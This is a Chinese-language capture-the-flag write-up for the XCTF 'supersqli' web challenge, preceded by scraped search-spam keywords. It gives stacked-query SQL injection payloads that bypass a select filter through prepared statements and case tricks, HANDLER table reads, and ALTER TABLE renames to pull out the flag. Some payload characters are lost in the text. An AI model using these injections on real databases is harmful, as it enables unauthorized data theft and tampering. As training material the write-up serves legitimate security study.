搜索引擎网站,免费空间访客网站,网站怎么做图片动态图片不显示不出来的,不知此网站枉做男人的网站XCTF_Web_高手进阶区 supersqli supersqli
这里使用谷歌浏览器 拿到题目后#xff0c;发现是单引号报错字符型注入 用order by语句判断出两个字段#xff1a;order by 2的时候页面正常回显#xff0c;order by 3的时候页面出错。 使用union select联合查询#xff0c;发现… XCTF_Web_高手进阶区 supersqli supersqli
这里使用谷歌浏览器 拿到题目后发现是单引号报错字符型注入 用order by语句判断出两个字段order by 2的时候页面正常回显order by 3的时候页面出错。 使用union select联合查询发现关键字select被正则过滤了 因此需要绕过select的过滤 解法一 1堆叠注入/?inject-1’;show tables -- (2)发现了两张表分别查询两张表中的字段 /?inject-1’;show columns from 1919810931114514 -- /?inject-1’;show columns from words -- (3)发现了flag在第一个表中接下来就是要查看flag的内容了。但是select被过滤了这里可以采用预编译的方式绕过。
?inject-1;set sql CONCAT(sele,ct * from \1919810931114514\;);prepare aaa from sql;EXECUTE aaa;#4这里用strstr函数过滤了’set’和’prepare’关键词利用strstr不能区分大小写将其改为大写即可
/?inject-1;sEt sql CONCAT(sele,ct * from \1919810931114514\;);prepArE aaa from sql;EXECUTE aaa;#或者
/?inject-1;sEt sql CONCAT(se,lect * from \1919810931114514\;);prEpare stmt from sql;EXECUTE stmt;#或者
/?inject-1;use supersqli;set sqlconcat(s,elect * from \1919810931114514\);PREPARE pre FROM sql;EXECUTE pre;--解法二 handler查询 在查找到有两张表的前提下进行 1使用方法 handler table_name open打开一张表 handel table_name read first读取第一行内容 handel table_name read next依次获取其它行
/?inject-1;handler 1919810931114514 open;handler 1919810931114514 read first;#解法三 1修改表名和列名在查找到两个表后看一下第二个表 2其中有一个列就是data列是可以进行查询的。所以这里将表1919810931114514名字改为wordsflag列名字改为id就可以查询flag的内容了。
1; alter table words rename to aaaa;alter table 1919810931114514 rename to words;alter table words change flag id varchar(100);#其中 alter table words rename to aaaa;先把原来的words表名字改成别的这个随便 alter table1919810931114514 rename to words;将表1919810931114514的名字改为words alter table words change flag id varchar(100);将改完名字后的表中的flag改为id字符串尽量长点 3然后用1’ or 11 --直接就能得到正确结果